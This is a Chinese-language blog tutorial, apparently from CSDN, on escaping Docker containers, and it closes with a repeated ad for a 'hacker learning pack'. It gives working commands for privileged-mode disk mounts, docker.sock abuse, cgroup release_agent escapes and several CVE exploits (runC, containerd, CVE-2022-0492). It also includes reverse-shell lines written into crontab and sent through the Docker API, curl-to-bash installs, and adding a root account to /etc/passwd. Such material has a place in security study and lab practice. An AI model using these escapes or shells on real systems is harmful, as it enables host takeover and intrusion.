0x01 容器逃逸?听起来就很刺激!
各位安全老司机,上车前先系好安全带!今天咱们聊点刺激的——Docker容器逃逸。想必大家都知道,Docker容器就像一个个独立的“小房间”,但有时候,这些“小房间”的门锁可能没那么牢靠,一不小心就被咱们给撬开了,直接溜达到宿主机的大院子里。
容器逃逸主要有三种姿势:
- 姿势不对,配置来背: 不安全的配置,简直就是给黑客开了后门!
- 程序猿哥哥的锅: 相关程序漏洞,程序写得不好,黑客来帮忙“优化”。
- 内核老爷爷也打盹: 内核漏洞,系统内核的bug,谁也跑不了。
0x02 如何判断自己是不是身处“贼船”?(Docker信息收集)
别慌,先别急着跑路,咱们先看看自己是不是真的在Docker容器里,以及这个容器是不是个“漏勺”。当然,以下方法成功率并非100%,仅供参考:
2.1 我是不是在Docker里?
在root权限下,执行以下命令,看看有没有“中奖”:
cat /proc/1/cgroup | grep -qi docker && echo "恭喜你,在Docker里!" || echo "安全!不在Docker里!"
2.2 我是不是在“特权模式”?
特权模式就像开了“无敌金身”,权限大得吓人!
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "特权模式已开启,危险!" || echo "普通模式,还算安全。"
2.3 Docker Socket 挂载了吗?
Docker Socket就像是通往Docker守护进程的“传送门”,有了它,就能控制整个Docker!
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket 已挂载,高危!" || echo "Docker Socket 未挂载,安全。"
2.4 Procfs 挂载了吗?
Procfs 包含了系统进程的信息,如果被挂载,可能会泄露敏感信息。
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs 已挂载,注意!" || echo "Procfs 未挂载,安全。"
2.5 宿主机根目录挂载了吗?
如果宿主机的根目录被挂载到容器里,那简直就是把家门钥匙直接交给小偷!
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "宿主机根目录已挂载,危险!!!" || echo "宿主机根目录未挂载,安全。"
2.6 Docker Remote API 未授权访问?
如果Docker Remote API 没有进行授权验证,任何人都可以通过它来控制Docker!
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API 开启且未授权,赶紧跑!" || echo "Docker Remote API 关闭或已授权,安全。"
2.7 一键检测脚本,懒人必备!
如果你觉得上面的命令太麻烦,没关系,这里有一键检测脚本,直接梭哈!
项目地址:https://github.com/teamssix/container-escape-check
或者直接在容器里面执行:
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
0x03 Docker 配置参数,花式逃逸大法!
如果检测发现你的容器存在安全隐患,那么恭喜你,可以开始你的逃逸之旅了!
3.1 特权模式(privileged)逃逸:我就是“特权阶级”!
启动一个特权容器:
docker run -it --privileged ubuntu:18.04
然后,查看磁盘信息:
fdisk -l
直接挂载宿主机的磁盘:
mkdir mo60
mount /dev/sda1 mo60
cd mo60
ls
成功访问到宿主机文件,是不是很刺激?
接下来,写crontab反弹shell,拿到宿主机权限:
crontab -l
echo "* * * * * bash -i >& /dev/tcp/你的IP/你的端口 0>&1" >> /etc/crontab
3.2 Docker.sock 逃逸:我控制了Docker守护进程!
/var/run/docker.sock
是Docker守护进程默认监听的Unix套接字,通过它可以与Docker守护进程通信,控制整个Docker!
启动测试容器,并挂载docker.sock:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
随后在docker容器中安装docker:
apt-get update && apt-get install docker.io -y
安装完成之后,使用docker ps
就可以看到宿主机上的容器了!
docker ps
将宿主机的根目录挂载到容器:
docker run -it -v /:/mo60 ubuntu:18.04 /bin/bash
可以看到宿主机文件了,反弹shell也是修改crontab即可。
3.3 挂载宿主机根目录逃逸:我家就是你家!
如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限!
docker run -it -v /:/mo60/ ubuntu:18.04
还是一样可以通过crontab反弹shell。
3.4 Cgroup执行宿主机系统命令:我能控制你的命令!
通过notify_on_release
实现容器逃逸,需要满足以下条件:
- 以root用户身份在容器内运行
- 使用
SYS_ADMIN
Linux功能运行 - 缺少AppArmor配置文件,否则将允许mountsyscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内
启动容器:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04
POC:
# In the container
mkdir /tmp/cgroup_poc
cd /tmp/cgroup_poc
mkdir cgroup
mount -t cgroup -o notify_on_release cgroup cgroup
echo $$ > cgroup/tasks
mkdir cgroup/x
echo 1 > cgroup/x/notify_on_release
HOST_PATH=$(sed 's/.*perdir=([^,]*).*//' /etc/mtab)
echo "$HOST_PATH/cmd" > cgroup/release_agent
echo '#!/bin/bash' > cmd
echo 'ls / > /output' >> cmd
chmod a+x cmd
sh -c "echo 0 > cgroup/x/cgroup.procs"
这里执行的ls /
运行后结果会输出到output中。
3.5 Docker Daemon API 未授权访问:我是你的幕后黑手!
在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
使用 vluhub 环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauth-rce
docker-compose up -d
反弹shell:
import docker
client = docker.DockerClient(base_url='tcp://你的IP:2375')
# 执行命令
command = 'bash -i >& /dev/tcp/你的IP/你的端口 0>&1'
container = client.containers.run('alpine/git', command, remove=True, privileged=True)
print(container.logs().decode('utf-8'))
0x04 其他逃逸姿势,总有一款适合你!
4.1 DirtyCow漏洞逃逸-CVE-2016-5195:老牛也能吃嫩草!
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。
下载测试容器并运行:
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso
docker build -t dirtycow .
docker run -it --rm dirtycow /bin/bash
POC地址,上面的环境会自动下载poc无需手动再次下载:
https://github.com/scumjr/dirtycow-vdso
4.2 runC逃逸-CVE-2019-5736:runC也疯狂!
影响版本:
- docker version <=18.09.2
- RunC version <=1.0-rc6
安装环境:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
下载Exploit:
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
修改一下要执行的命令,这里我修改为在根目录创建一个文件:
编译一下:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
把编译后的内容传到docker容器中:
docker cp main id:/
在容器里面运行:
然后我们在宿主机尝试去exec进入该容器即可触发,如果web界面有终端也可以触发比如docker搭建的Jupyter的Terminal:
docker exec -it id /bin/sh
成功执行:
成功在宿主机创建:
有一点要注意docker逃逸出来后,docker状态崩溃,root权限也无法再次进入docker内部。
这里有个坑,一开始我是/bin/bash但是poc里面写的是sh导致命令执行失败,要/bin/bash的话要修改poc把/bin/sh替换成/bin/bash:
docker exec -it id /bin/bash
有两处位置记得都替:
4.3 CVE-2020-15257:Containerd的秘密通道!
Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。
在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
利用要求:
- 网络模式为host
- 容器内部进程root用户启动
安装环境有漏洞的docker版本:
sudo apt-get install ca-certificates curl software-properties-common
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install docker-ce=18.09.2~3-0~ubuntu-xenial docker-ce-cli=18.09.2~3-0~ubuntu-xenial containerd.io
此时查看containerd版本:
docker version
通过--net=host
作为启动参数来运行并进入一个容器:
sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
进入容器:
sudo docker exec -it <容器id> /bin/bash
接着在容器内执行,可看到抽象命名空间Unix域套接字:
cat /proc/net/unix|grep -a "containerd-shim"
然后下载漏洞利用工具 https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
然后拷贝进容器:
sudo docker cp cdk_linux_amd64 容器id:/tmp
运行工具,执行反弹shell命令,验证得到一个宿主机的shell:
./cdk_linux_amd64 run shim-pwn 反弹IP 反弹端口
反弹的shell为宿主机的shell:
4.4 CVE-2022-0492:Cgroup的“后门”!
当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机
漏洞产品: linux kernel - cgroup
影响版本: ~linux kernel 5.17-rc3
在存在漏洞版本的内核的linux中使用docker才可以,这里我们来搭建符合的环境:
git clone https://github.com/brant-ruan/metarget.git
cd metarget/cve/CVE-2022-0492
sudo ./metarget env install
sudo ./metarget env check
运行安装完后查看内核版本:
启动环境:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
这里使用exp:
mkdir /tmp/testcgroup
cd /tmp/testcgroup
git clone https://github.com/Crusaders-of-the-Lost-Idols/CVE-2022-0492.git
cd CVE-2022-0492
gcc -o exp exp.c
./exp
然后运行完查看/result文件即可,这里我是看了宿主机的/tmp目录。
或者使用 https://github.com/chenaotian/CVE-2022-0492/blob/main/exp.sh 使用方法:
./exp.sh "cat /etc/passwd"
这里运行 cat /etc/passwd 可以看到这个是我宿主机用户。
4.5 Docker 用户组提权:我也是“管理员”!
Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。
Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。
如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。
查看当前所在的组,发现在docker组里面:
groups
参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS 这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
又或者:
将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd:
docker run -v /etc/:/mnt -it alpine
添加一个特权账号,这里先生成密码。
openssl passwd -1 -salt mo60
得到:
$1$mo60$1rTGVj6vCS8EEqxxqnuBH/
然后写入passwd文件:
echo 'mo60:$1$mo60$1rTGVj6vCS8EEqxxqnuBH/:0:0::/root:/bin/bash' >>/mnt/passwd
然后退出docker容器到宿主机成功到root。
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************